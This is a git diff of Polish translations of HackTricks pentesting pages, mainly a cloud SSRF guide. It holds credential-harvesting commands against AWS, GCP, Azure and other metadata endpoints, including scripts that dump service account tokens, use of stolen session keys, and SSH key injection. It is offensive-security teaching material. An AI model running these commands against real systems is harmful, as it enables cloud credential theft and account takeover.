SELECT database_to_xml(true,true,'');
```
@@ -94,9 +94,9 @@ SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
```
-
+
-Jeśli interesuje Cię **kariera hakera** i hakiowanie rzeczy niemożliwych do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego_).
+Jeśli interesuje Cię **kariera hakera** i hakiowanie rzeczy niemożliwych do zhakowania - **zatrudniamy!** (_biegła znajomość języka polskiego w mowie i piśmie wymagana_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -106,7 +106,7 @@ Jeśli interesuje Cię **kariera hakera** i hakiowanie rzeczy niemożliwych do z
Inne sposoby wsparcia HackTricks:
-* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
diff --git a/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md b/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md
index 8a82c001d..51b7d5c44 100644
--- a/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md
+++ b/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md
@@ -2,21 +2,21 @@
-Dowiedz się, jak hakować AWS od zera do bohatera zhtARTE (HackTricks AWS Red Team Expert)!
+Naucz się hakować AWS od zera do bohatera zhtARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
-* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
-* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-Znajdź najważniejsze podatności, aby szybko je naprawić. Intruder śledzi powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj go za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
+Znajdź najważniejsze podatności, aby móc je szybciej naprawić. Intruder śledzi powierzchnię ataku, przeprowadza proaktywne skanowania zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@@ -24,19 +24,19 @@ Znajdź najważniejsze podatności, aby szybko je naprawić. Intruder śledzi po
## AWS
-### Wykorzystywanie SSRF w środowisku AWS EC2
+### Nadużywanie SSRF w środowisku AWS EC2
-**Metadane** można uzyskać z dowolnej maszyny EC2 i zawierają interesujące informacje na jej temat. Można uzyskać do nich dostęp pod adresem URL: `http://169.254.169.254` ([informacje na temat metadanych tutaj](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
+**Metadane** można uzyskać z dowolnej maszyny EC2 i oferują interesujące informacje na ich temat. Są one dostępne pod adresem URL: `http://169.254.169.254` ([informacje o metadanych tutaj](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
-Istnieją **2 wersje** punktu końcowego metadanych. **Pierwsza** umożliwia **dostęp** do punktu końcowego za pomocą żądań **GET** (więc dowolne **SSRF może go wykorzystać**). W przypadku **wersji 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), musisz poprosić o **token** wysyłając żądanie **PUT** z **nagłówkiem HTTP**, a następnie użyć tego tokenu do uzyskania dostępu do metadanych za pomocą innego nagłówka HTTP (więc jest to **trudniejsze do wykorzystania** przy użyciu SSRF).
+Istnieją **2 wersje** punktu końcowego metadanych. **Pierwsza** pozwala na **dostęp** do punktu końcowego za pomocą żądań **GET** (więc każde **SSRF może to wykorzystać**). Dla **wersji 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), musisz poprosić o **token** wysyłając żądanie **PUT** z **nagłówkiem HTTP**, a następnie użyć tego tokenu do uzyskania dostępu do metadanych za pomocą innego nagłówka HTTP (więc jest to **trudniejsze do wykorzystania** z SSRF).
{% hint style="danger" %}
-Należy zauważyć, że jeśli instancja EC2 wymusza IMDSv2, [**zgodnie z dokumentacją**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **odpowiedź na żądanie PUT** będzie miała **limit skoku równy 1**, co uniemożliwia dostęp do metadanych EC2 z kontenera wewnątrz instancji EC2.
+Zauważ, że jeśli instancja EC2 wymusza IMDSv2, [**zgodnie z dokumentacją**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **odpowiedź na żądanie PUT** będzie miała **limit skoku równy 1**, co uniemożliwia dostęp do metadanych EC2 z kontenera wewnątrz instancji EC2.
-Ponadto, **IMDSv2** również **blokuje żądania pobrania tokenu, które zawierają nagłówek `X-Forwarded-For`**. Ma to na celu zapobieżenie możliwości dostępu do niego przez źle skonfigurowane serwery proxy odwracające.
+Co więcej, **IMDSv2** zablokuje również żądania pobrania tokenu, które zawierają nagłówek `X-Forwarded-For`. Ma to na celu zapobieżenie możliwości dostępu do niego przez źle skonfigurowane serwery proxy odwrócone.
{% endhint %}
-Informacje na temat [punktów końcowych metadanych znajdują się w dokumentacji](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). W poniższym skrypcie uzyskane są pewne interesujące informacje z metadanych:
+Można znaleźć informacje o [punktach końcowych metadanych w dokumentacji](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). W poniższym skrypcie uzyskano pewne interesujące informacje z metadanych:
```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
@@ -96,40 +96,40 @@ echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
```
-Jako przykład publicznie dostępnych uwierzytelnień IAM można odwiedzić: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
+Jako przykład ujawnionych **publicznie dostępnych poświadczeń IAM** możesz odwiedzić: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
-Możesz również sprawdzić publiczne uwierzytelnienia **EC2** pod adresem: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
+Możesz również sprawdzić publiczne **poświadczenia bezpieczeństwa EC2** pod adresem: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
-Następnie możesz użyć tych uwierzytelnień z AWS CLI. Pozwoli to na wykonanie dowolnej czynności, na którą rola ma uprawnienia.
+Następnie możesz użyć **tych poświadczeń za pomocą AWS CLI**. Pozwoli to ci wykonać **dowolne czynności, do których ma uprawnienia ta rola**.
-Aby skorzystać z nowych uwierzytelnień, musisz utworzyć nowy profil AWS, podobny do tego:
+Aby skorzystać z nowych poświadczeń, będziesz musiał utworzyć nowy profil AWS, podobny do tego:
```
[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```
-Zauważ **aws\_session\_token**, jest to niezbędne dla profilu, aby działał.
+Zauważ **aws\_session\_token**, jest to niezbędne do działania profilu.
-[**PACU**](https://github.com/RhinoSecurityLabs/pacu) można użyć z odkrytymi danymi uwierzytelniającymi, aby dowiedzieć się o swoich uprawnieniach i spróbować eskalacji uprawnień.
+[**PACU**](https://github.com/RhinoSecurityLabs/pacu) można użyć z odkrytymi danymi uwierzytelniającymi, aby dowiedzieć się o Twoich uprawnieniach i spróbować eskalować uprawnienia
### SSRF w poświadczeniach AWS ECS (usługa kontenerowa)
-**ECS** to logiczna grupa instancji EC2, na których można uruchamiać aplikację bez konieczności skalowania własnej infrastruktury zarządzania klastrami, ponieważ ECS zarządza tym dla Ciebie. Jeśli uda Ci się skompromitować usługę działającą w **ECS**, **punkty końcowe metadanych się zmieniają**.
+**ECS**, to logiczna grupa instancji EC2, na których można uruchomić aplikację, nie musząc skalować własnej infrastruktury zarządzania klastrami, ponieważ ECS zarządza tym dla Ciebie. Jeśli uda Ci się skompromitować usługę działającą w **ECS**, **punkty końcowe metadanych się zmieniają**.
-Jeśli uzyskasz dostęp do _**http://169.254.170.2/v2/credentials/\**_, znajdziesz poświadczenia maszyny ECS. Ale najpierw musisz **znaleźć \**. Aby znaleźć \, musisz odczytać zmienną **environ** o nazwie **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** wewnątrz maszyny.\
-Możesz to odczytać, wykorzystując **Path Traversal** do `file:///proc/self/environ`\
-Wspomniany adres http powinien dostarczyć Ci **AccessKey, SecretKey i token**.
+Jeśli uzyskasz dostęp do _**http://169.254.170.2/v2/credentials/\**_ znajdziesz poświadczenia maszyny ECS. Ale najpierw musisz **znaleźć \**. Aby znaleźć \, musisz odczytać zmienną **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** wewnątrz maszyny.\
+Możesz to odczytać wykorzystując **Path Traversal** do `file:///proc/self/environ`\
+Wspomniany adres http powinien dać Ci **AccessKey, SecretKey i token**.
```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
{% hint style="info" %}
-Zauważ, że w **niektórych przypadkach** będziesz mógł uzyskać dostęp do **instancji metadanych EC2** z kontenera (sprawdź ograniczenia dotyczące IMDSv2 TTL, o których wspomniano wcześniej). W tych scenariuszach z kontenera możesz uzyskać dostęp zarówno do roli IAM kontenera, jak i roli IAM EC2.
+Należy pamiętać, że w **niektórych przypadkach** będzie można uzyskać dostęp do **instancji metadanych EC2** z kontenera (sprawdź ograniczenia czasowe IMDSv2 wspomniane wcześniej). W tych scenariuszach z kontenera można uzyskać dostęp zarówno do roli IAM kontenera, jak i roli IAM EC2.
{% endhint %}
### SSRF dla AWS Lambda
-W tym przypadku **poświadczenia są przechowywane w zmiennych środowiskowych**. Aby uzyskać do nich dostęp, musisz uzyskać dostęp do czegoś takiego jak **`file:///proc/self/environ`**.
+W tym przypadku **poświadczenia są przechowywane w zmiennych środowiskowych**. Aby uzyskać do nich dostęp, należy uzyskać dostęp do czegoś w stylu **`file:///proc/self/environ`**.
**Nazwy** interesujących zmiennych środowiskowych to:
@@ -137,20 +137,20 @@ W tym przypadku **poświadczenia są przechowywane w zmiennych środowiskowych**
* `AWS_SECRET_ACCESS_KEY`
* `AWS_ACCES_KEY_ID`
-Ponadto, oprócz poświadczeń IAM, funkcje Lambda mają również **dane zdarzenia, które są przekazywane do funkcji podczas jej uruchamiania**. Te dane są udostępniane funkcji za pośrednictwem [interfejsu uruchomieniowego](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) i mogą zawierać **wrażliwe informacje** (np. wewnątrz **stageVariables**). W przeciwieństwie do poświadczeń IAM, te dane są dostępne za pomocą standardowego SSRF pod adresem **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
+Ponadto, oprócz poświadczeń IAM, funkcje Lambda mają również **dane zdarzenia przekazywane do funkcji podczas jej uruchamiania**. Te dane są udostępniane funkcji za pośrednictwem [interfejsu uruchomieniowego](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) i mogą zawierać **wrażliwe informacje** (np. wewnątrz **stageVariables**). W przeciwieństwie do poświadczeń IAM, te dane są dostępne za pomocą standardowego SSRF pod adresem **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
{% hint style="warning" %}
-Zauważ, że **poświadczenia lambdy** znajdują się w **zmiennych środowiskowych**. Jeśli ślad stosu kodu lambdy drukuje zmienne środowiskowe, możliwe jest **wyciekanie ich poprzez wywołanie błędu** w aplikacji.
+Należy pamiętać, że **poświadczenia lambdy** znajdują się w **zmiennych środowiskowych**. Dlatego jeśli **ślad stosu** kodu lambdy drukuje zmienne środowiskowe, możliwe jest **wydostanie ich wywołując błąd** w aplikacji.
{% endhint %}
-### SSRF URL dla AWS Elastic Beanstalk
+### Adres URL SSRF dla AWS Elastic Beanstalk
Pobieramy `accountId` i `region` z interfejsu API.
```
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
-Następnie pobieramy `AccessKeyId`, `SecretAccessKey` i `Token` z interfejsu API.
+Następnie pobieramy `AccessKeyId`, `SecretAccessKey` i `Token` z API.
```
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
@@ -162,9 +162,9 @@ Następnie używamy poświadczeń za pomocą `aws s3 ls s3://elasticbeanstalk-us
Możesz [**znaleźć tutaj dokumentację dotyczącą punktów końcowych metadanych**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
-### URL SSRF dla Google Cloud
+### SSRF URL dla Google Cloud
-Wymaga nagłówka HTTP **`Metadata-Flavor: Google`** i możesz uzyskać dostęp do punktu końcowego metadanych za pomocą następujących adresów URL:
+Wymaga nagłówka HTTP **`Metadata-Flavor: Google`** i możesz uzyskać dostęp do punktu końcowego metadanych pod następującymi adresami URL:
* http://169.254.169.254
* http://metadata.google.internal
@@ -174,10 +174,10 @@ Interesujące punkty końcowe do wydobycia informacji:
```bash
# /project
# Project name and number
-curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
-curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
+curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
+curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
-curl -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
+curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
# /oslogin
# users
@@ -191,17 +191,17 @@ curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslog
# /instance
# Description
-curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
+curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
-curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
+curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
-curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
+curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
-curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
+curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
-curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
+curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
-curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
+curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
@@ -249,13 +249,13 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
```
-Beta NIE wymaga obecnie nagłówka (dzięki Mathias Karlsson @avlidienbrunn)
+Beta NIE wymaga nagłówka w tej chwili (dzięki Mathiasowi Karlsson @avlidienbrunn)
```
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
{% hint style="danger" %}
-Aby **użyć wykradzionego tokenu konta usługi**, wystarczy:
+Aby **użyć wyciekanego tokenu konta usługi**, po prostu wykonaj:
```bash
# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=
@@ -275,9 +275,9 @@ Wyodrębnij token
```
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```
-Sprawdź zakres tokena.
-```
-$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
+Sprawdź zakres tokena (za pomocą poprzedniego wyniku lub uruchomienie poniższego)
+```bash
+curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
@@ -285,7 +285,7 @@ $ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuX
"access_type": "offline"
}
```
-Teraz przekaż klucz SSH.
+Teraz przyciśnij klucz SSH.
{% code overflow="wrap" %}
```bash
@@ -296,13 +296,40 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
```
{% endcode %}
+## Funkcje chmurowe
+
+Punkt końcowy metadanych działa tak samo jak w maszynach wirtualnych, ale bez niektórych punktów końcowych:
+```bash
+# /project
+# Project name and number
+curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
+curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
+
+# /instance
+# ID
+curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
+# Zone
+curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
+# Auto MTLS config
+curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
+# Service Accounts
+for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
+echo " Name: $sa"
+echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
+echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
+echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
+echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
+echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
+echo " ============== "
+done
+```
## Digital Ocean
{% hint style="warning" %}
-Nie ma takich rzeczy jak role AWS ani konto usługi GCP, więc nie oczekuj, że znajdziesz poświadczenia bota metadanych
+Nie ma tutaj rzeczy takich jak role AWS ani konto usługi GCP, więc nie spodziewaj się znalezienia danych uwierzytelniających metadanych
{% endhint %}
-Dokumentacja dostępna na [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
+Dokumentacja dostępna pod adresem [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
```
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
@@ -316,7 +343,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
```
-Znajdź najważniejsze podatności, aby móc je szybko naprawić. Intruder śledzi powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj go za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
+Znajdź najważniejsze podatności, aby móc je szybciej naprawić. Intruder śledzi powierzchnię ataku, uruchamia proaktywne skanowania zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@@ -329,7 +356,7 @@ Znajdź najważniejsze podatności, aby móc je szybko naprawić. Intruder śled
[**Dokumentacja** tutaj](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
* **Musisz** zawierać nagłówek `Metadata: true`
-* Nie może zawierać nagłówka `X-Forwarded-For`
+* Nie powinien zawierać nagłówka `X-Forwarded-For`
{% tabs %}
{% tab title="Bash" %}
@@ -376,9 +403,9 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
{% endtab %}
{% endtabs %}
-### Azure App Service
+### Usługa Azure App
-Z **env** można uzyskać wartości `IDENTITY_HEADER` _i_ `IDENTITY_ENDPOINT`. Można ich użyć do uzyskania tokena do komunikacji z serwerem metadanych.
+Z **env** możesz uzyskać wartości `IDENTITY_HEADER` _i_ `IDENTITY_ENDPOINT`. Możesz ich użyć do uzyskania tokenu do komunikacji z serwerem metadanych.
Większość czasu chcesz uzyskać token dla jednego z tych zasobów:
@@ -457,7 +484,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
## IBM Cloud
{% hint style="warning" %}
-Zauważ, że w IBM domyślnie metadane są wyłączone, więc możliwe, że nie będziesz w stanie uzyskać do nich dostępu, nawet jeśli znajdujesz się wewnątrz maszyny wirtualnej IBM Cloud.
+Zauważ, że w IBM domyślnie metadane są wyłączone, więc istnieje możliwość, że nie będziesz mógł uzyskać do nich dostępu nawet jeśli znajdujesz się wewnątrz wirtualnej maszyny w chmurze IBM.
{% endhint %}
{% code overflow="wrap" %}
@@ -486,62 +513,67 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
```
{% endcode %}
-Dokumentacja dla różnych platform usług metadanych jest przedstawiona poniżej, podkreślając metody dostępu do konfiguracji i informacji o działaniu instancji. Każda platforma oferuje unikalne punkty końcowe do dostępu do swoich usług metadanych.
+Dokumentacja dla różnych usług platformy jest przedstawiona poniżej, z zaznaczeniem metod dostępu do konfiguracji i informacji o uruchomieniu instancji. Każda platforma oferuje unikalne punkty końcowe do dostępu do swoich usług metadanych.
## Packetcloud
-Aby uzyskać dostęp do metadanych Packetcloud, dokumentację można znaleźć pod adresem:
-[https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
+Aby uzyskać dostęp do metadanych Packetcloud, dokumentację można znaleźć pod adresem: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
## OpenStack/RackSpace
-Nie ma wymienionej konieczności nagłówka. Metadane można uzyskać za pomocą:
-- `http://169.254.169.254/openstack`
+Konieczność nagłówka nie jest wymieniona. Metadane można uzyskać poprzez:
+
+* `http://169.254.169.254/openstack`
## HP Helion
-Również tutaj nie ma wymienionej konieczności nagłówka. Metadane są dostępne pod adresem:
-- `http://169.254.169.254/2009-04-04/meta-data/`
+Konieczność nagłówka nie jest również tutaj wymieniona. Metadane są dostępne pod adresem:
+
+* `http://169.254.169.254/2009-04-04/meta-data/`
## Oracle Cloud
-Oracle Cloud udostępnia serię punktów końcowych do dostępu do różnych aspektów metadanych:
-- `http://192.0.0.192/latest/`
-- `http://192.0.0.192/latest/user-data/`
-- `http://192.0.0.192/latest/meta-data/`
-- `http://192.0.0.192/latest/attributes/`
+Oracle Cloud udostępnia serię punktów końcowych do uzyskiwania różnych aspektów metadanych:
+
+* `http://192.0.0.192/latest/`
+* `http://192.0.0.192/latest/user-data/`
+* `http://192.0.0.192/latest/meta-data/`
+* `http://192.0.0.192/latest/attributes/`
## Alibaba
-Alibaba oferuje punkty końcowe do dostępu do metadanych, w tym identyfikatorów instancji i obrazów:
-- `http://100.100.100.200/latest/meta-data/`
-- `http://100.100.100.200/latest/meta-data/instance-id`
-- `http://100.100.100.200/latest/meta-data/image-id`
+Alibaba oferuje punkty końcowe do uzyskiwania metadanych, w tym identyfikatory instancji i obrazów:
+
+* `http://100.100.100.200/latest/meta-data/`
+* `http://100.100.100.200/latest/meta-data/instance-id`
+* `http://100.100.100.200/latest/meta-data/image-id`
## Kubernetes ETCD
-Kubernetes ETCD może przechowywać klucze API, wewnętrzne adresy IP i porty. Dostęp jest przedstawiony za pomocą:
-- `curl -L http://127.0.0.1:2379/version`
-- `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
+Kubernetes ETCD może przechowywać klucze API, wewnętrzne adresy IP i porty. Dostęp jest pokazany poprzez:
+
